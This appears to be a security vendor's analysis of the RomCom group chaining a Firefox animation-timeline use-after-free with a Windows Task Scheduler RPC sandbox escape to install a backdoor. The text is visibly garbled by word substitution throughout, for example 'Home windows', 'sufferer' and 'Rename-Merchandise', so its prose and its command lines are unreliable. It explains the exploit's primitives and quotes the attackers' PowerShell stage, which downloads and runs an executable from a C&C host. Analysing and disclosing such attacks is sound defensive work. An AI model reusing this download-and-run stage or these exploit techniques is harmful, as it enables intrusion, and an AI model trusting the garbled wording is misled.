RomCom exploits Firefox and Home windows zero days within the wild

ESET researchers found a beforehand unknown vulnerability in Mozilla merchandise, exploited within the wild by Russia-aligned group RomCom. That is at the least the second time that RomCom has been caught exploiting a major zero-day vulnerability within the wild, after the abuse of CVE-2023-36884 through Microsoft Phrase in June 2023.

This vital vulnerability, assigned CVE-2024-9680 with a CVSS rating of 9.8, permits susceptible variations of Firefox, Thunderbird, and the Tor Browser to execute code within the restricted context of the browser. Chained with one other beforehand unknown vulnerability in Home windows, assigned CVE-2024-49039 with a CVSS rating of 8.8, arbitrary code may be executed within the context of the logged-in consumer. In a profitable assault, if a sufferer browses to an internet web page containing the exploit, an adversary can run arbitrary code – with none consumer interplay required – which on this case led to the set up of RomCom’s eponymous backdoor on the sufferer’s pc.

Key factors of this blogpost:

• On October 8^th, 2024, ESET researchers found a beforehand unknown zero-day vulnerability in Mozilla merchandise being exploited within the wild.
• Evaluation of the exploit led to the invention of the vulnerability, now assigned CVE-2024-9680: a use-after-free bug within the animation timeline characteristic in Firefox. Mozilla patched the vulnerability on October 9^th, 2024.
• Additional evaluation revealed one other zero-day vulnerability in Home windows: a privilege escalation bug, now assigned CVE‑2024‑49039, that enables code to run outdoors of Firefox’s sandbox. Microsoft launched a patch for this second vulnerability on November 12^th, 2024.
• Profitable exploitation makes an attempt delivered the RomCom backdoor, in what appears like a widespread marketing campaign.

RomCom profile

RomCom (also called Storm-0978, Tropical Scorpius, or UNC2596) is a Russia-aligned group that conducts each opportunistic campaigns towards chosen enterprise verticals and focused espionage operations. The group’s focus has shifted to incorporate espionage operations accumulating intelligence, in parallel with its extra typical cybercrime operations. The backdoor utilized by the group is able to executing instructions and downloading extra modules to the sufferer’s machine.

Desk 1 reveals the sectors focused, in accordance with our analysis, by RomCom in 2024. This highlights that the group is engaged in espionage but in addition cybercrime operations.

Desk 1. RomCom victims in 2024

Compromise chain

The compromise chain consists of a faux web site that redirects the potential sufferer to the server internet hosting the exploit, and will the exploit succeed, shellcode is executed that downloads and executes the RomCom backdoor – an instance of which is depicted in Determine 1. Whereas we don’t know the way the hyperlink to the faux web site is distributed, nevertheless, if the web page is reached utilizing a susceptible browser, a payload is dropped and executed on the sufferer’s pc with no consumer interplay required. Lastly, a JavaScript redirection is carried out utilizing window.location.href after a couple of seconds, giving the exploit time to run.

From October 10^th, 2024 to October 16^th, 2024, simply after the primary vulnerability was patched, we discovered different C&C servers internet hosting the exploit. They used a recurring naming scheme for his or her faux servers by including the prefix or suffix redir or purple to a professional area, generally additionally altering its top-level area (TLD), as proven in Desk 2. The redirection on the finish of the exploitation try took the victims to the professional web site on the unique area identify, presumably to keep away from elevating the targets’ suspicions.

Desk 2. Faux servers redirecting to the exploit

If a sufferer utilizing a susceptible browser visits an internet web page serving this exploit, the vulnerability is triggered and shellcode is executed in a content material course of. The shellcode consists of two components: the primary retrieves the second from reminiscence and marks the containing pages as executable, whereas the second implements a PE loader based mostly on the open-source venture Shellcode Reflective DLL Injection (RDI).

The loaded library implements a sandbox escape for Firefox that results in downloading and executing the RomCom backdoor on the sufferer’s pc. The backdoor is staged at a C&C server positioned at journalctd[.]dwell, correctiv[.]sbs, or cwise[.]retailer, relying on the pattern.

In response to our telemetry, from October 10^th, 2024 to November 4^th, 2024, potential victims who visited web sites internet hosting the exploit have been positioned largely in Europe and North America, as proven in Determine 2. The variety of potential targets runs from a single sufferer per nation to as many as 250, in accordance with ESET telemetry.

CVE-2024-9680: Use-after-free in Firefox animation timeline

On October 8^th, 2024, we discovered fascinating recordsdata used to ship the RomCom backdoor, hosted on the server 1drv.us[.]com managed by the risk actor. The exploits goal a use-after-free vulnerability in Firefox animation timelines, permitting an attacker to realize code execution in a content material course of. Throughout our investigation, we analyzed the recordsdata referenced in Desk 3.

Desk 3. Information associated to the exploit

Timestamps associated to those recordsdata point out that they have been created on October 3^rd, 2024 and made out there on-line; nonetheless, the risk actor might need been in possession of this exploit sooner than this.

We reported the vulnerability to Mozilla shortly after discovery, with the next timeline of occasions:

• 2024-10-08: Discovery and preliminary evaluation.
• 2024-10-08: Vulnerability reported to Mozilla.
• 2024-10-08: Vulnerability acknowledged by Mozilla.
• 2024-10-09: CVE-2024-9680 assigned by Mozilla Company.
• 2024-10-09: Vulnerability patched in Firefox, Safety Advisory 2024-51.
• 2024-10-09: Vulnerability patched in Tor Browser with launch 13.5.7.
• 2024-10-10: Vulnerability patched in Tails with launch 6.8.1.
• 2024-10-10: Vulnerability patched in Thunderbird, Safety Advisory 2024-52.

We want to thank the group at Mozilla for being very responsive and spotlight their spectacular work to launch a patch inside a day.

Mozilla and the Tor Undertaking launched a patch that fixes the vulnerability within the following variations:

• Firefox 131.0.2
• Firefox ESR 115.16.1
• Firefox ESR 128.3.1
• Tor Browser 13.5.7
• Tails 6.8.1
• Thunderbird 115.16
• Thunderbird 128.3.1
• Thunderbird 131.0.1

Throughout the preparation of this blogpost, impartial researcher Dimitri Fourny launched a detailed evaluation of the vulnerability on November 14^th, 2024.

Root trigger evaluation

The main-.js first checks the precise model of the browser, and determines its exploitability by checking some particular objects’ offsets and sizes for an affected model. If these checks move, it proceeds so as to add an HTML iframe into the exploit web page, carried out in animation0.html. The latter creates 4 HTML div parts recognized respectively as target0 to target3, however most significantly it defines a getter operate for the Object.prototype’s then property as proven in Determine 3. This operate will set off the use-after-free vulnerability as defined under. Be aware that the feedback (in darkish inexperienced) are from the exploit authors; this might point out that the exploit was nonetheless in a developmental part or that the risk actor purchased it.

After some preliminary heap spraying, the put together operate creates 4 Animation objects, one for every div factor beforehand created, as illustrated in Determine 4. These animation objects are dealt with by an AnimationTimeline object.

Throughout the doc animation timeline, the check operate known as, which pauses and will get the prepared property of the primary and second animation objects. As acknowledged within the documentation, the prepared property returns a Promise that resolves when the animation is able to be performed. Calling the then technique on the promise causes the getter operate proven in Determine 3 to be known as. Primarily, this operate increments a world flag variable and when it reaches 2, the primary animation object (anim0) is cancelled, and all of the div parts are eliminated. The decision to the rm0 operate (proven in Determine 3) units the animation objects to null with the intention to free them, which triggers the use-after-free vulnerability. This operate additionally does some heap feng shui and, within the initially found exploit, calls the getInfo operate liable for reaching code execution.

Within the meantime, because the animation0.html doc is being refreshed, the Tick technique of its AnimationTimeline object known as periodically. As seen in Determine 5, this technique iterates over the totally different animation objects current within the animation timeline and appends animations to be eliminated to a neighborhood array variable known as animationsToRemove.

The bug lies in that, whereas iterating over the totally different animation objects of the animation timeline, the Tick technique of the Animation object known as, which may result in the liberating of the present animation object, leading to dealing with a dangling pointer. Whereas debugging the exploit, we noticed a sequence of calls that ultimately ended up within the getter operate defined above, as illustrated in Determine 6 and Determine 7.

The getter operate calls Animation::Cancel which in flip calls AnimationTimeline::RemoveAnimation. Then, the animation objects anim0 and anim1 are set to null to ensure that them to get freed. When AnimationTimeline::Tick then iterates over the array animationsToRemove (line 74 in Determine 5), AnimationTimeline::RemoveAnimation will manipulate a dangling pointer of an Animation object that was already eliminated, as proven in Determine 8.

After liberating the animations within the rm0 operate, the exploit proceeds with extra heap administration with the intention to management the objects that can exchange the freed animations, and eventually, the getInfo operate known as, as seen in Determine 9.

With out going into an excessive amount of element concerning the exploit code, its creator abused div objects and their attributes in addition to ImageData objects to leak properties of the latter, as noticed in Determine 10.

Then, the exploit code proceeds to control ArrayBuffer objects in order to leak the deal with of an arbitrary JavaScript object (generally known as an addrof primitive) and abuse the Firefox JIT compiler to execute the primary shellcode part within the context of a content material course of, as illustrated in Determine 11. This method is defined in nice element on this blogpost.

Mozilla patched the vulnerability in Firefox 131.0.2, Firefox ESR 128.3.1, and Firefox ESR 115.16.1 on October 9^th, 2024. Primarily, the tips to the animation objects dealt with by the timeline at the moment are carried out by way of reference-counting pointers (RefPtr), as recommended by the diff, which prevents the animations from being freed, since AnimationTimeline::Tick will nonetheless maintain a reference to them.

Shellcode evaluation

Each shellcodes are saved within the JavaScript exploit file main-.js. The primary one is dynamically created as an array of float numbers whereas the second is saved as an enormous array of bytes.

Egghunting shellcode

This primary shellcode merely retrieves the second shellcode by looking in reminiscence for a hardcoded magic worth of 0x8877665544332211, adjustments its reminiscence safety to read-write-execute (RWX), and executes the code positioned at this deal with.

Reflective loader shellcode

This second shellcode is the compiled model of the Shellcode RDI venture, which allows a DLL to be loaded. The constants used within the shellcode weren’t modified by the risk actor (see https://github.com/monoxgas/sRDI/blob/grasp/Native/Loader.cpp#L367 vs. the constants proven in Determine 12).

The shellcode merely hundreds an embedded library whose sole objective is to flee the restrictions of Firefox’s sandboxed content material course of.

CVE-2024-49039: Privilege escalation in Home windows Job Scheduler

The loaded library (SHA1: ABB54C4751F97A9FC1C9598FED1EC9FB9E6B1DB6), named PocLowIL by its builders and compiled on October 3^rd, 2024, implements a sandbox escape from the untrusted course of stage of the content material course of to a medium stage. Primarily, the library makes use of an undocumented RPC endpoint, which shouldn’t have been callable from an untrusted course of stage, to launch a hidden PowerShell course of that downloads a second stage from a C&C server.

The timeline of the vulnerability disclosure is the next:

• 2024-10-08: As a part of our preliminary report back to Mozilla for CVE-2024-9680, we additionally offered what we believed to be a sandbox escape.
• 2024-10-14: Mozilla’s safety group confirmed the sandbox escape and deemed the vulnerability to be tied to a Home windows safety flaw. They suggested us that that they had contacted the Microsoft Safety Response Middle (MSRC) to evaluate the vulnerability.
• 2024-11-12: Microsoft launched an advisory for CVE-2024-49039 and its corresponding patch by way of the replace KB5046612. The vulnerability was additionally independently discovered by Vlad Stolyarov and Bahare Sabouri of Google’s Risk Evaluation Group, as talked about in KB5046612.

Root trigger evaluation

The sandbox escape code resides within the comparatively small important operate of the library. It makes use of an undocumented RPC endpoint, as illustrated in Determine 13.

The operate proceeds to populate undocumented constructions and calls NdrClientCall2 3 times. The primary parameter handed to this operate, pStubDescriptor, is a MIDL_STUB_DESC construction whose RpcInterfaceInformation member factors to an interface recognized by the GUID 33D84484-3626-47EE-8C6F-E7E98B113BE1. This interface is carried out within the Home windows library WPTaskScheduler.dll, loaded by schedsvc.dll, hosted within the strategy of the duty scheduler service (svchost.exe).

In response to our evaluation of this interface, the sandbox escape code calls the next features:

• s_TaskSchedulerCreateSchedule
• s_TaskSchedulerExecuteSchedule
• s_TaskSchedulerDeleteSchedule (used just for cleanup)

Utilizing RpcView and after partially reversing some constructions, we discovered the principle constructions, as illustrated in Determine 14.

After making use of these constructions in IDA Professional, we obtained a clearer overview of the duty, as seen in Determine 15.

Based mostly on the code, the malicious library creates a scheduled process that can run an arbitrary software at medium integrity stage, permitting the attackers to raise their privileges on the system and get away of the sandbox. That is potential as a result of lack of restrictions imposed on the safety descriptor utilized to the RPC interface throughout its creation, as illustrated in Determine 16.

The renamed variable interface_security_descriptor, used when RpcServerRegisterIf3 known as, has the next worth: D:P(A;;GA;;;S-1-15-2-1)(A;;GA;;;WD). In response to the Safety Descriptor Definition Language (SDDL), it permits everybody (WD) to speak with the RPC interface and name its procedures no matter their integrity stage.

Exploitation

On this case, the risk actor created a process named firefox.exe that can launch conhost.exe in headless mode with the intention to cover the kid course of window. The deobfuscation of the remainder of the command line (proven in Determine 15) revealed the PowerShell code seen in Determine 17.

$a=$env:public + 'public';
Invoke-WebRequest https://journalctd[.]dwell/JfWb4OrQPLh -o $a;
sleep 15;
Rename-Merchandise $a ($a = ($a + '.exe')) # $env:publicpublic.exe
Begin-Course of $a;
sleep 10;
Rename-Merchandise $a ($a = ($a -replace 'public.e', 'epublic.e')) # $env:publicepublic.exe
Begin-Course of $a

Determine 17. PowerShell code downloading a next-stage part

An executable is downloaded from https://journalctd[.]dwell/JfWb4OrQPLh, saved within the %PUBLIC% folder as public.exe, and run. After 10 seconds, it’s renamed as epublic.exe and run once more.

Transient patch evaluation

The patched model of WPTaskScheduler.dll (model 10.0.19041.5129) launched with KB5046612 makes use of a extra sophisticated safety descriptor, as proven in Determine 18.

The brand new safety descriptor is:

D:(A;;GRGWGX;;;SY)(A;;GRGWGX;;;LS)(A;;GR;;;NS)(A;;GR;;;IU)S:(ML;;NWNXNR;;;ME)

Breaking down the string reveals the next restriction logic:

• the system (SY) and native service (LS) accounts are granted learn, write, and execute entry,
• the community service (NS) account and interactive customers (IU) are granted solely learn entry,
• lastly, objects under medium stage (ME) integrity are denied learn, write, and execute entry.

The brand new restrictions imposed by the up to date safety descriptor forestall the privilege escalation and render the sandbox escape code out of date.

Conclusion

Chaining collectively two zero-day vulnerabilities armed RomCom with an exploit that requires no consumer interplay. This stage of sophistication reveals the risk actor’s will and means to acquire or develop stealthy capabilities. ESET shared detailed findings with Mozilla, following our coordinated vulnerability disclosure course of shortly after discovery. Mozilla launched a blogpost about how they reacted to the disclosure and have been in a position to launch a repair inside 25 hours, which may be very spectacular compared to trade requirements.

For any inquiries about our analysis printed on WeLiveSecurity, please contact us at threatintel@eset.com. 

ESET Analysis presents personal APT intelligence studies and knowledge feeds. For any inquiries about this service, go to the ESET Risk Intelligence web page.

IoCs

A complete record of indicators of compromise and samples may be present in our GitHub repository.

Information

Community

MITRE ATT&CK strategies

This desk was constructed utilizing model 16 of the MITRE ATT&CK framework.